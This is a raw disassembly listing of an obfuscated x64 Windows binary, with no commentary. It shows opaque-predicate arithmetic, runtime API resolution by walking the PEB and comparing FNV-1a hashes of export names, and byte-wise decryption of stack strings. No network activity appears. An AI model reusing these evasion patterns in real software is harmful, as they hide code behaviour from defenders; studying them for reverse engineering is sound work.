xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140052e4c
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140052e4c
mov ebx, 7
jmp 0x140052ee7
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140052ee0
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140052ee7
mov ebx, dword [rsp + 0x98]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov ecx, edi
movsx eax, al
imul ecx, eax
lea edx, [rcx + rcx*4]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x1400531a1
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov eax, edi
imul eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140053027
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140053027
mov eax, 7
jmp 0x1400530c2
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400530bb
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x1400530c2
mov eax, dword [rsp + 0x98]
xor esi, esi
cmp esi, eax
jge 0x1400531a3
mov byte [rsp + 0x440], 0x66
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x441], xmm0
mov qword [rsp + 0x451], rax
mov word [rsp + 0x459], ax
mov qword [rsp + 0x50], rsi
mov rax, qword [rsp + 0x50]
cmp rax, 0x1b
jae 0x140053157
movabs rdi, 0xa20f00fdf1f26171
nop dword [rax + rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x440]
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x17
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x440], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1b
jb 0x140053110
lea rdx, [rsp + 0x440]
lea rcx, [rsp + 0x420]
call fcn.140001d00
or dword [rsp + 0xa0], 2
lea rcx, [rsp + 0x1868]
call fcn.14005c960
mov dword [rsp + 0x98], 0x3474b087
mov dword [rsp + 0x68], 0x9eb270ea
mov dword [rsp + 0x60], 0x203430ae
jmp 0x140053d54
xor esi, esi
mov rbx, qword [0x14007d208]
test rbx, rbx
jne 0x140053388
mov r11d, esi
mov eax, 0x3474b087
mov dword [rsp + 0x98], eax
mov r10d, eax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov rsi, r13
nop dword [rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x140053240
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x5521a70
cmp rcx, r8
je 0x140053237
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x140053220
cmp edx, r11d
jne 0x14005335d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14005335d
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14005335d
mov r15d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r15 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0x5521a70
test al, al
je 0x1400532c9
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x1400532b0
cmp ecx, r10d
je 0x1400532d8
test r8d, r8d
jne 0x140053280
jmp 0x14005335d
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
cmp rbx, rdi
jbe 0x140053301
lea rax, [rdi + r12]
cmp rbx, rax
jae 0x140053301
mov al, 1
jmp 0x140053303
xor al, al
test al, al
je 0x14005337f
mov r11d, 0x5521a70
mov r10d, r11d
movzx eax, byte [rbx]
cmp al, 0x2e
je 0x140053337
nop word [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rbx
movzx eax, byte [rbx]
cmp al, 0x2e
jne 0x140053320
inc rbx
movzx eax, byte [rbx]
cmp al, 0
je 0x140053359
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rbx, [rbx + 1]
movzx eax, byte [rbx]
test al, al
jne 0x140053341
mov rsi, qword [r13]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r13
je 0x140053373
cmp qword [rax + 0x30], 0
je 0x140053373
mov al, 1
jmp 0x140053375
xor al, al
test al, al
jne 0x1400531e0
xor ebx, ebx
mov qword [0x14007d208], rbx
jmp 0x140053393
mov dword [rsp + 0x98], 0x3474b087
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x15e0]
call rbx
mov rdx, qword [0x14007d288]
test rdx, rdx
jne 0x140053588
xor r11d, r11d
mov eax, 0x9eb270ea
mov dword [rsp + 0x68], eax
mov r10d, eax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov rsi, r13
nop dword [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x140053440
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x5aa18ca0
cmp rcx, r8
je 0x140053437
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x140053420
cmp edx, r11d
jne 0x14005355d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14005355d
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14005355d
mov r15d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r15 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0x5aa18ca0
test al, al
je 0x1400534c9
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x1400534b0
cmp ecx, r10d
je 0x1400534d8
test r8d, r8d
jne 0x140053480
jmp 0x14005355d
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, rdi
jbe 0x140053501
lea rax, [r12 + rdi]
cmp rdx, rax
jae 0x140053501
mov al, 1
jmp 0x140053503
xor al, al
test al, al
je 0x14005357f
mov r11d, 0x5aa18ca0
mov r10d, r11d
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x140053537
nop word [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x140053520
inc rdx
movzx eax, byte [rdx]
cmp al, 0
je 0x140053559
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140053541
mov rsi, qword [r13]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r13
je 0x140053573
cmp qword [rax + 0x30], 0
je 0x140053573
mov al, 1
jmp 0x140053575
xor al, al
test al, al
jne 0x1400533e0
xor edx, edx
mov qword [0x14007d288], rdx
jmp 0x140053590
mov dword [rsp + 0x68], 0x9eb270ea
mov rcx, qword [rsp + 0x15e0]
call rdx
mov rdx, qword [0x14007d0c8]
test rdx, rdx
jne 0x140053778
xor r11d, r11d
mov eax, 0x203430ae
mov dword [rsp + 0x60], eax
mov r10d, eax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov rsi, r13
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x140053630
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0xe8f390e4
cmp rcx, r8
je 0x140053627
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x140053610
cmp edx, r11d
jne 0x14005374d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14005374d
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14005374d
mov r15d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r15]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0xe8f390e4
test al, al
je 0x1400536b9
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x1400536a0
cmp ecx, r10d
je 0x1400536c8
test r8d, r8d
jne 0x140053670
jmp 0x14005374d
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, rdi
jbe 0x1400536f1
lea rax, [rdi + r12]
cmp rdx, rax
jae 0x1400536f1
mov al, 1
jmp 0x1400536f3
xor al, al
test al, al
je 0x14005376f
mov r11d, 0xe8f390e4
mov r10d, r11d
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x140053727
nop word [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x140053710
inc rdx
movzx eax, byte [rdx]
cmp al, 0
je 0x140053749
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140053731
mov rsi, qword [r13]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r13
je 0x140053763
cmp qword [rax + 0x30], 0
je 0x140053763
mov al, 1
jmp 0x140053765
xor al, al
test al, al
jne 0x1400535d0
xor edx, edx
mov qword [0x14007d0c8], rdx
jmp 0x140053780
mov dword [rsp + 0x60], 0x203430ae
mov rcx, qword [rsp + 0x15e8]
call rdx
xor edx, edx
mov r8d, 0xf8
lea rcx, [rsp + 0x1f90]
call sub.VCRUNTIME140.dll_memset
mov r12d, 1
mov edx, r12d
lea rcx, [rsp + 0x1f90]
call fcn.14005bd60
nop
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r15, rax
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140053b72
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x1400538aa
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400538aa
mov r10d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r10]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x1400538a5
mov ecx, 0xb40718dd
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140053880
cmp ecx, 0xe6dccc9b
je 0x1400539bd
test r8d, r8d
jne 0x140053850
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x1400538c0
cmp qword [rax + 0x30], 0
je 0x1400538c0
mov al, 1
jmp 0x1400538c2
xor al, al
test al, al
jne 0x140053820
xor r14d, r14d
mov eax, r14d
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x155c]
mov r8d, 0x1000
lea rdx, [rsp + 0x3b90]
mov rcx, r15
call rax
test eax, eax
je 0x140053901
cmp dword [rsp + 0x155c], 0
mov rdx, r12
ja 0x140053904
mov rdx, r14
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400539dc
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400539dc
mov ebx, 7
jmp 0x140053a77
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
xor r14d, r14d
jmp 0x1400538d0
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140053a70
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x140053a77
mov ebx, dword [rsp + 0x155c]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx eax, al
imul edx, eax
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*4]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x140053b72
mov byte [rsp + 0x16a8], 0
mov byte [rsp + 0x400], 0x4c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x401], xmm0
mov qword [rsp + 0x411], rax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x19
jae 0x140053b47
movabs rdi, 0x33405c635154d936
nop
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x400]
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x7a
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x400], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x19
jb 0x140053b00
mov ecx, dword [rsp + 0x155c]
movzx eax, byte [rsp + 0x400]
mov byte [rsp + rcx + 0x3b90], al
lea rdx, [rsp + 0x3b90]
lea rcx, [rsp + 0x1fa0]
call fcn.140002170
call fcn.140003750
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003790
movsx r8d, al
mov edx, edi
imul edx, ebx
lea ebx, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*2]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140053c6d
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140053c6d
mov eax, 7
jmp 0x140053d08
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140053d01
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x140053d08
mov eax, dword [rsp + 0x155c]
xor esi, esi
cmp esi, eax
jge 0x140053d2b
lea rdx, [rsp + 0x420]
lea rcx, [rsp + 0x1fa8]
call fcn.140001f10
or dword [rsp + 0xa0], 6
lea rcx, [rsp + 0x2028]
call fcn.14005bd00
lea rcx, [rsp + 0x2028]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x1868]
call fcn.14005c960
lea rcx, [rsp + 0x420]
call fcn.140001c70
nop
lea rcx, [rsp + 0x4a0]
call fcn.140001c70
nop
lea rcx, [rsp + 0x4c0]
call fcn.140001c70
nop
lea rcx, [rsp + 0x4e0]
call fcn.140001c70
nop
lea rcx, [rsp + 0x500]
call fcn.140001c70
lea r8, [rsp + 0x17c8]
lea rdx, [rsp + 0x1828]
lea rcx, [rsp + 0x3e0]
call fcn.14005e0c0
nop
lea r8, [rsp + 0x1848]
mov rdx, rax
lea rcx, [rsp + 0x3c0]
call fcn.14005e220
nop
lea r8, [rsp + 0x1808]
mov rdx, rax
lea rcx, [rsp + 0x3a0]
call fcn.14005e220
mov rdi, rax
mov rbx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140053dfb
mov rbx, qword [rax]
mov rdi, rbx
movzx edx, byte [rsp + 0x16a8]
lea rcx, [rsp + 0x380]
call fcn.140002460
nop
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140053e20
mov rdx, rdi
lea rcx, [rsp + 0x380]
call fcn.140002480
nop
xor eax, eax
mov byte [rsp + 0x7d], al
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x7d]
call fcn.14001ed70
mov r14, rax
cmp byte [rax], 0
jne 0x140054e49
mov dword [rsp + 0x78], esi
mov r15d, dword [rsp + 0x155c]
mov r12d, dword [rsp + 0x155c]
mov r13d, dword [rsp + 0x155c]
nop dword [rax + rax]
mov eax, dword [rsp + 0x78]
cmp eax, 1
jae 0x140054e47
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.1400037a0
movsx edx, byte [0x14007d2e0]
imul edx, ebx
lea ebx, [rdx + rdx*4]
add ebx, ebx
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x14005418f
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140053f7e
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140053f7e
mov r15d, 7
jmp 0x140054014
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140054014
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si r15d, xmm0
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400540c9
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
